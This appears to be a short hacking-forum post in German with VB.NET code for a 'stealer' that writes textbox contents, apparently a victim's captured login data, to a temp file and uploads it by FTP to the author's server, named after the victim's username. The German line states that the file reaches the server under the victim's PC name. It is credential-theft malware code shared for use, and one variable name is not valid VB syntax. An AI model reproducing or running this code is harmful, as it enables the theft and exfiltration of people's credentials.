Code:
Dim 13log37 As String = Environ("tmp") & "\googlerules.txt"
Dim schreib0rn As StreamWriter
schreib0rn = New StreamWriter(13log37)
schreib0rn.writeline("Imba13Stealer37")
schreib0rn.writeline("")
schreib0rn.writeline(Textbox1.text)
schreib0rn.writeline(Textbox2.text)
My.Computer.Network.UploadFile(Environ("tmp") & "\googlerules.txt", "FTP://" & meinServer & "/" & Environment.UserName & ".txt", meinUser, meinPasswort)
Dann kommt die txt auf den Server und hat als Namen den Namen des Pc's des Opfers
'VooDoo666